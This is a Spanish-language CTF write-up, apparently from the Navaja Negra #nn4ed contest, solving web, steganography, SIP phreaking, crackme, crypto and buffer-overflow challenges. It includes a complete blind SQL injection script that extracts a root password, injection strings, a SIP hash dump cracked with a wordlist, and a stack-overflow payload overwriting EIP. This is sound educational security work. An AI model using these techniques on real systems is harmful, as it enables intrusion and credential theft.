Está en la página 1de 24

Solucionario para el CTF de #nn4ed

Vte. Javier Garca Mayn


neofito@gmail.com




Tabla de contenido

Prueba web 1 (categora: web) .................................................................................................................... 5
Prueba web 2 (categora: web) .................................................................................................................... 7
Prueba stg 1 (categora: stego) ................................................................................................................... 10
Prueba phk 1 (categora: phreaking) .......................................................................................................... 11
Prueba phk 2 (categora: phreaking) .......................................................................................................... 13
Prueba crk 1 (categora: cracking) .............................................................................................................. 14
Solucin de CRP2 (categora cripto) ........................................................................................................... 16
Prueba extra (categora: varios) ................................................................................................................. 18






5

Prueba web 1 (categora: web)
URL: http://ctf.navajanegra.com/game.php?n=1

Comenzando que es gerundio; accedemos al enlace page de la imagen anterior, que nos lleva a
http://ctf.navajanegra.com/WEB%201.php, y que tiene el siguiente aspecto:

Si tratamos de acercarnos al botn ste se desplaza, impidiendo pulsarlo; sin embargo, podemos
utilizar javascript y la consola de firebug
1
para, aunque sea por cabezotas, conseguir pulsar el botn:

Lo que hace que aparezca la siguiente ventana emergente:


1
https://addons.mozilla.org/es/firefox/addon/firebug/

6

Una vez cerrada la ventana se nos redirige a la pgina principal de Navaja Negra; vamos, va muerta.
Despus de varias vueltas al cdigo fuente de la pgina, el cual slo contiene una funcin en javascript,
fun(), encargada de marearnos con el botn, se me ocurri utilizar el comando wget desde Linux para
obtener el contenido y ver si este difera en algo, encontrando all, ahora s, la contrasea del nivel.
El siguiente script en Python permite obtener el mismo resultado que lanzar el comando wget:
#! /usr/bin/python
# -*- coding: utf-8 -*-
"""
web1.py (v0.1)

Created: 2014-09-28

Copyright (c) 2010: Vte J. Garcia Mayen <neofito@gmail.com>
Copyright (c) 2010: Neo System Forensics http://neosysforensics.es

This program is free software; you can redistribute it and/or modify it
under the terms of the GNU General Public License as published by the
Free Software Foundation; either version 2 of the License, or (at your
option) any later version. See http://www.gnu.org/copyleft/gpl.html for
the full text of the license.
"""
import requests
import bs4

def main():
""" Main Function """

url = "http://ctf.navajanegra.com/WEB%201.php"
headers = {'User-Agent':'Wget/1.13.4 (linux-gnu)'}

print '-----------------------------------------------------'
print '- #nn4ed CTF - Level: web1 (unclassified) -'
print '-----------------------------------------------------'
print '[*] Guetting WEB 1.php content...'
req = requests.get(url, headers=headers)
print '[*] Done!'
print '[*] Analyzing the retrieved content...'
soup = bs4.BeautifulSoup(req.text)
print '[*] Done!'
print '-----------------------------------------------------'
for string in soup.strings:
if "Password" in string:
print string.replace('\n', '')

if __name__ == "__main__":
main()

La salida de su ejecucin sera:
C:\nn4ed>python web1.py
-----------------------------------------------------
- #nn4ed CTF - Level: web1 (unclassified) -
-----------------------------------------------------
[*] Guetting WEB 1.php content...
[*] Done!
[*] Analyzing the retrieved content...
[*] Done!
-----------------------------------------------------
Password: 6e3e92ebfcec506d0cc56f24a929ac11

7

Prueba web 2 (categora: web)
URL: http://ctf.navajanegra.com/game.php?n=12

Continuamos para bingo; en este caso, y tal como nos indica el enunciado de la prueba, es necesario
aprovechar una inyeccin SQL en el formulario al que accedemos mediante el enlace Server, y que
apunta a http://ctf.navajanegra.com/web2.php
Despus de varios intentos detecto la cadena que permite la inyeccin en el campo user del
formulario, or 1=1, que obtiene como resultado una ventana emergente indicndonos que el usuario
root es correcto, pero no as la contrasea proporcionada:

Si por el contrario probamos con una sentencia SQL cuyo resultado no es verdadero, or 1=2 por
ejemplo, no obtenemos ninguna respuesta:


8

As que tiene toda la pinta de ser una inyeccin SQL a ciegas, es decir, no obtenemos directamente los
valores buscados, en este caso la pass de root, directamente desde la pgina pero si podemos inferir
estos valores haciendo las consultas adecuadas y atendiendo al resultado obtenido:
un alert si el resultado de la consulta es verdadero;
nada en el caso de que el resultado sea falso.
Para automatizar el proceso de averiguar la pass del usario utilizo el siguiente script:
#! /usr/bin/python
# -*- coding: utf-8 -*-
"""
web2_02.py (v0.2)

Created: 2014-09-28

Copyright (c) 2010: Vte J. Garcia Mayen <neofito@gmail.com>
Copyright (c) 2010: Neo System Forensics http://neosysforensics.es

This program is free software; you can redistribute it and/or modify it
under the terms of the GNU General Public License as published by the
Free Software Foundation; either version 2 of the License, or (at your
option) any later version. See http://www.gnu.org/copyleft/gpl.html for
the full text of the license.
"""
import requests
import sys

def make_query(query, okmsg):
""" Function doc """

payload = {'u': query, 'p': ''}
req = requests.get("http://ctf.navajanegra.com/web2.php", params=payload)

if okmsg in req.text:
return True
else:
return False

def guess_password_length():
""" Function doc """

okmsg = "User root correct but bad Password!"

length = 1
query = "root' and length(pass) > '%d" % length
while make_query(query, okmsg):
sys.stdout.write('%s\r' % length)
length = length + 1
query = "root' and length(pass) > '%d" % length

sys.stdout.write(" " * len(str(length)) + "\r")
return length

def guess_character(position, okmsg):
""" Function doc """

query = "root' and ascii(substring(pass,%s,1)) & '%s' = '%s"
bit = [128, 64, 32, 16, 8, 4, 2, 1]

byte = 0
for value in bit:
qry = query % (str(position), str(value), str(value))
if make_query(qry, okmsg):
byte += value

9


return byte

def guess_password(length):
""" Function doc """

okmsg = "User root correct but bad Password!"
index = 0

password = ""
while len(password) != length:
index += 1
byte = guess_character(index, okmsg)
password += chr(byte)
sys.stdout.write('%s\r' % password)

sys.stdout.write(" " * length + "\r")

return password

def main():
""" Main function """

print '---------------------------------------------------'
print '- #nn4ed CTF - Level: web2 (Blind SQL Injection) -'
print '---------------------------------------------------'
print '[*] Guessing password length...'
length = guess_password_length()
print '[*] Password length guessed!'
print '[*] Guessing password...'
password = guess_password(length)
print '[*] Password guessed!'
print '---------------------------------------------------'
print 'Password: %s' % password

if __name__ == "__main__":
main()

El script implementa una bsqueda binaria para obtener el resultado con el menor nmero posible de
consultas sql. El script lo desarroll en su momento para solucionar una prueba del wargame Narnia, y
slo he tenido que adaptarlo para esta ocasin. La explicacin y el script original estn en:
Jugando s se aprende (advierto, nivel bsico)
http://neosysforensics.blogspot.com.es/2013/01/jugando-si-se-aprende-advierto-nivel.html
El resultado obtenido al ejecutarlo para solucionar la prueba:
C:\nn4ed>python web2_v2.py
---------------------------------------------------
- #nn4ed CTF - Level: web2 (Blind SQL Injection) -
---------------------------------------------------
[*] Guessing password length...
[*] Password length guessed!
[*] Guessing password...
[*] Password guessed!
---------------------------------------------------
Password: 78a2109f8519940bb553

10

Prueba stg 1 (categora: stego)
URL: http://ctf.navajanegra.com/game.php?n=8

La prueba nos indica que tenemos que trabajar con la imagen, y para eso, primero necesitamos la
imagen! No basta con hacer clic con el botn derecho del ratn y darle a Guardar imagen, ya que est
incluida como fondo mediante el siguiente cdigo CSS:

El enlace para descargarla sera pues http://ctf.navajanegra.com/STG1.jpg
Una vez descargada, si la abrimos con un editor hexadecimal podemos ver al final lo que parece una
cadena en base64:


11

Utilizando el intrprete de Python podemos descodificarla para obtener finalmente el flag del nivel:
C:\nn4ed>python
Python 2.7.8 (default, Jun 30 2014, 16:03:49) [MSC v.1500 32 bit (Intel)] on
win32
Type "help", "copyright", "credits" or "license" for more information.
>>> import base64
>>> cadena =
"TXkgc2VjcmV0IGNvZGU6IDFlZjFkODM0NzMzMWFmYjc1YjgyMjgxOWZkNGU2ZDNiIA=="
>>> base64.b64decode(cadena)
'My secret code: 1ef1d8347331afb75b822819fd4e6d3b '
>>>
Prueba phk 1 (categora: phreaking)
URL: http://ctf.navajanegra.com/game.php?n=3

Vale, tenemos un audio donde una locucin indica al usuario que introduzca su nmero de tarjeta de
crdito y a continuacin los tonos correspondientes a los nmeros de la misma.
Se me ocurre que lo mejor es cortar la locucin y quedarme slo con la parte que me interesa as que,
utilizando audacity
2
primero abro el fichero mp3 y divido la pista en los dos canales que componen el
formato estreo:

para eliminar uno de ellos y quedarme con el audio en formato mono.

2
http://audacity.sourceforge.net/?lang=es

12

A continuacin selecciono el bloque que me interesa y lo corto:

y ya por ltimo creo un nuevo proyecto y lo pego all, para finalmente exportarlo y guardarlo como un
fichero WAV.
Vale, ya tenemos el audio con los nmero de la tarjeta de crdito, pero ahora hay que interpretarlo, y
como no tenemos a mano el wasap de John Draper
3
pues tiramos de aplicacin online, que haberlas
haylas. Concretamente yo he utilizado esta: http://dialabc.com/sound/detect/index.html

Solucin: 5461765425671065

3
http://es.wikipedia.org/wiki/John_Draper

13

Prueba phk 2 (categora: phreaking)
URL: http://ctf.navajanegra.com/game.php?n=11

La pgina de la prueba nos permite descargar una captura, SipPHK2.pcapng, del trfico SIP producido
durante el proceso de registro de un dispositivo en un servidor SIP.

Utilizando las herramientas de la suite sipcrack podemos extraer el hash md5 solicitado por el
servidor al dispositivo para, posteriormente y mediante un ataque de diccionario, obtener la contrasea
en texto claro. Lo primero, extraer los paquetes correspondientes al proceso de login utilizando
sipdump:
# sipdump -p SipPHK2.pcapng auth.txt

SIPdump 0.2 ( MaJoMu | www.codito.de )
---------------------------------------

* Using pcap file 'SipPHK2.pcapng' for sniffing
* Starting to sniff with packet filter 'tcp or udp'

* Dumped login from 77.72.169.129 -> 10.0.61.100 (User: 'nn4ed')

* Exiting, sniffed 1 logins

y ahora, utilizando el famoso diccionario rockyou.txt incluido con cualquier distribucin para
pentesting que se precie lanzamos el ataque mediante la herramienta sipcrack:
# sipcrack -w rockyou.txt auth.txt

SIPcrack 0.2 ( MaJoMu | www.codito.de )
----------------------------------------

* Found Accounts:

Num Server Client User Hash|Password

1 10.0.61.100 77.72.169.129 nn4ed 3c58ee4488a90ad08d67a24b4c2c9beb
* Select which entry to crack (1 - 1): 1

14


* Generating static MD5 hash... 14ac1cae34f4c3f9b7471887f1a24a8e
* Loaded wordlist: 'rockyou.txt'
* Starting bruteforce against user 'nn4ed' (MD5:
'3c58ee4488a90ad08d67a24b4c2c9beb')
* Tried 168183 passwords in 0 seconds

* Found password: 'passw'
* Updating dump file 'auth.txt'... done

Solucin: 3c58ee4488a90ad08d67a24b4c2c9beb:passw
Prueba crk 1 (categora: cracking)
URL: http://ctf.navajanegra.com/game.php?n=5


Una vez descargado el fichero CrackMe1.zip si extraemos su contenido obtenemos un ejecutable de
Windows, CrackMe1.exe, que una vez ejecutado, no sin un poco de miedo, muestra lo siguiente:

Difcil va a ser adivinar los valores correctos por inspiracin divina, as que mejor primero analizamos el
ejecutable con PEiD a ver qu tenemos:


15

Parece que el ejecutable ha sido empaquetado utilizando UPX
4
para dificultar su anlisis, as que
primero lo desempaquetamos:

y una vez correctamente desempaquetado volvemos a analizarlo a ver que tenemos ahora:

Esto ya es otra cosa! Tenemos un ejecutable en Visual Basic y se me ocurre probar primero lo ms
simple, o lo que es lo mismo, ver las strings que contiene el ejecutable a ver si suena la flauta. Esto
anterior traducido a OllyDbg
5
sera:


4
http://upx.sourceforge.net/
5
http://www.ollydbg.de/

16

Entre todas las strings incluidas en el ejecutable me llaman la atencin las dos siguientes:

Como probar es gratis las utilizo como valores de autenticacin en el ejecutable, Albacete como
usuario y ...N....N como contrasea, y mira t por donde que suena la flauta:

Para obtener el cdigo que permite pasar el nivel necesitamos el hash md5 correspondiente a la
contrasea obtenida, as que nuevamente usando el intrprete de Python:
C:\nn4ed>python
Python 2.7.8 (default, Jun 30 2014, 16:03:49) [MSC v.1500 32 bit (Intel)] on
win32
Type "help", "copyright", "credits" or "license" for more information.
>>> import hashlib
>>> m = hashlib.md5()
>>> m.update("...N....N")
>>> print m.hexdigest()
0047c0baeb5faccc8a71319c72fa6af2
>>>
Prueba crp 2 (categora crypto)
URL: http://ctf.navajanegra.com/game.php?n=10

Copio la cadena hexadecimal incluida entre comillas dobles como valor de la variable MSG directamente
en un nuevo proyecto dentro de la herramienta CrypTool
6
para empezar a analizarla (@Kachakil
7
dixit).
Me aseguro primero de haber definido correctamente las opciones de la aplicacin para los procesos de
anlisis, dejando los valores tal como se muestra en la siguiente imagen:

6
https://www.cryptool.org/en/
7
https://twitter.com/Kachakil

17


Ahora s, men Anlisis, Herramientas para el anlisis, Histograma:

El resultado anterior nos muestra la frecuencia de aparicin para cada carcter, y por la forma de
agruparse tiene toda la pinta de tratarse de una cadena ASCII cifrada utilizando algn tipo de cifrado
simtrico.
Otro matiz interesante es que el valor hexadecimal ms pequeo es el 40. En una cadena ASCII el valor
ms pequeo y que resulta ms probable es el espacio en blanco, que se corresponde con el cdigo 40
en hexadecimal.
Vamos a probar a descifrar el texto utilizando la tcnica de suma de bytes, as que men
Cifrar/Descifrar, Simtrico (clsico), Suma de Bytes y vamos a utilizar como valor la diferencia entre el
carcter hexadecimal ms pequeo en la cadena cifrada y su valor correspondiente ms probable, el
espacio en blanco o lo que es lo mismo el cdigo hexadecimal 40:

18


Pulsando el botn descifrar obtenemos el texto en claro con la solucin de la prueba:

Secret code: a3fa85f73d5565db577095d283ef7651
Prueba extra (categora: varios)
URL: http://ctf.navajanegra.com/game.php?n=13



19

Parece que hay varios caminos para solucionar la prueba, pero ya puedo darme con un canto en los
dientes de haber encontrado al menos uno de ellos.
Pulsando sobre la imagen del gato pirata nos lleva a http://ctf.navajanegra.com/extra.php donde
comienza realmente la prueba, y podemos leer el siguiente texto:

Si algo sabemos es que somos 007, otra cosa es donde indicrselo a la pgina; unas cuantas vueltas, dos
cervezas y varios cabezazos despus se me ocurre probar modificando la el header User-Agent de la
peticin http, utilizando para ello la herramienta OWASP ZAP
8
:

Misin cumplida, o al menos obtenidas las instrucciones de la misin, ya que la pgina nos devuelve
ahora el siguiente contenido:

As que una vez descargado el cdigo QR y utilizando http://blog.qr4.nl/Online-QR-Code_Decoder.aspx
obtenemos el cdigo md5 correspondiente: f3807a187fce8cd0d901726ee33331bc.
Tirando nuevamente de servicios online, ahora desde http://www.md5cracker.org/, obtenemos la
cadena correspondiente al hash md5 obtenida en el paso anterior, y que es BUDA (sin las comillas).

8
https://www.owasp.org/index.php/OWASP_Zed_Attack_Proxy_Project

20

El paso siguiente sera comunicar dicha palabra a la pgina de la prueba, as que varios cabezazos, que
no cervezas, despus, se me ocurre mandar la siguiente peticin:

El mtodo POST est asociado normalmente al envo de datos a travs de un formulario, de ah la
cabecera Content-Type: application/x-www-form-urlencoded y el valor, con formato
variable=valor, ira en el cuerpo de la peticin. La cabecera Content-Length correspondera a la
longitud de la cadena incluida en el cuerpo del POST.
Sea como fuere vemos que todava no hemos terminado, ya que recibimos el siguiente contenido:

Unas cuantas vueltas despus decidimos que adivinos no somos, y aunque tampoco somos exploiters no
nos quedan ms huevos que intentarlo por esa va, as que descargamos el fichero BoF1.ova desde el
siguiente enlace http://ctf.navajanegra.com/extra.php?guru=buda, donde al visitarlo se nos dan algunas
instrucciones ms, todo ello sin olvidar quin somos, o lo que es lo mismo, mandando en la cabecera de
la peticin el User-Agent: 007 tal como hemos hecho hasta ahora:

Y las nuevas instrucciones justo con el enlace para la descarga desde Mega:

Descarga: https://mega.co.nz/#!wEFFUSyI!IygGuqaNn5KijDlC5WW3XM3yX_T6sdyvwjBfOd0nizE
Una vez descargada la mquina virtual en formato ova
9
podemos importarla, por ejemplo desde
VirtualBox
10
, para tener disponible la mquina virtual y poder seguir as con la resolucin de la prueba (o
pegndonos ms cabezazos, segn se mire o segn quin mire).

9
http://es.wikipedia.org/wiki/Open_Virtualization_Format

21


Una vez finalizado el proceso de importacin arrancaremos la nueva mquina virtual y seguiremos con
la fiesta, que si no lo es por el alcohol, si al menos por las horas en las que transcurra:

Como soy un chico bueno, y la falta de sueo ya haca mella, me centr en la consecucin de la prueba
siguiendo los cauces indicados y dej la curiosidad para otros momentos ms idneos, as que utilizando
las credenciales proporcionadas anteriormente, usuario navaja con contrasea negra accedemos al
sistema y vemos primero que es lo que hay:
navaja@slitaz:~$ ls -l
total 12
-rwxr-xr-x 1 navaja navaja 7305 Sep 25 18:44 bof1
-rw-r--r-- 1 navaja navaja 113 Sep 25 18:14 readme.txt

navaja@slitaz:~$ cat readme.txt

10
https://www.virtualbox.org/

22

Encuentra la contrasea del archivo /home/navaja/bof1, desbordando la
pila, para obtener la clave del nivel :)

Probamos a ejecutar la aplicacin para ver de qu va esto:
navaja@slitaz:~$ ./bof1
Pista: 0x8048474
Hola
Introduciste: Hola

Como se trata de explotar un buffer overflow la cadena introducida debe ser lo suficientemente larga
como para sobrescribir la direccin de retorno, EIP, y dada la pista tiene toda la pinta que la direccin
con la que sobrescribir EIP tiene que ser la indicada, es decir, 0x8048474, que como estamos en un
sistema litle-endian
11
tiene que representarse al revs. Utilizar el siguiente comando de Python, que ya
estoy harto de que todos los ejemplos se hagan utilizando un lenguaje orientado al ofuscamiento:
python -c 'print "A" * NUM_A_DETERMINAR + "\x74\x84\x04\x08"' | ./bof1

Unas cuantas pruebas despus tenemos la solucin de la prueba, que al final no ha sido tan complicada
como pareca a priori:

Slo nos queda obtener el hash md5 de la contrasea obtenida para utilizarlo como solucin de la
prueba, as que de nuevo desde el intrprete de Python:
C:\Users\jgarcia>python
Python 2.7.8 (default, Jun 30 2014, 16:03:49) [MSC v.1500 32 bit (Intel)] on
win32
Type "help", "copyright", "credits" or "license" for more information.
>>> import hashlib
>>> m = hashlib.md5()
>>> m.update("GNU/Linux")
>>> print m.hexdigest()
4a58db979d107ca6300f1be1406b3605
>>>


Y esto ha sido todo lo que he conseguido. No s si as han sido las cosas, pero s que as las he contado

11
http://es.wikipedia.org/wiki/Endianness

También podría gustarte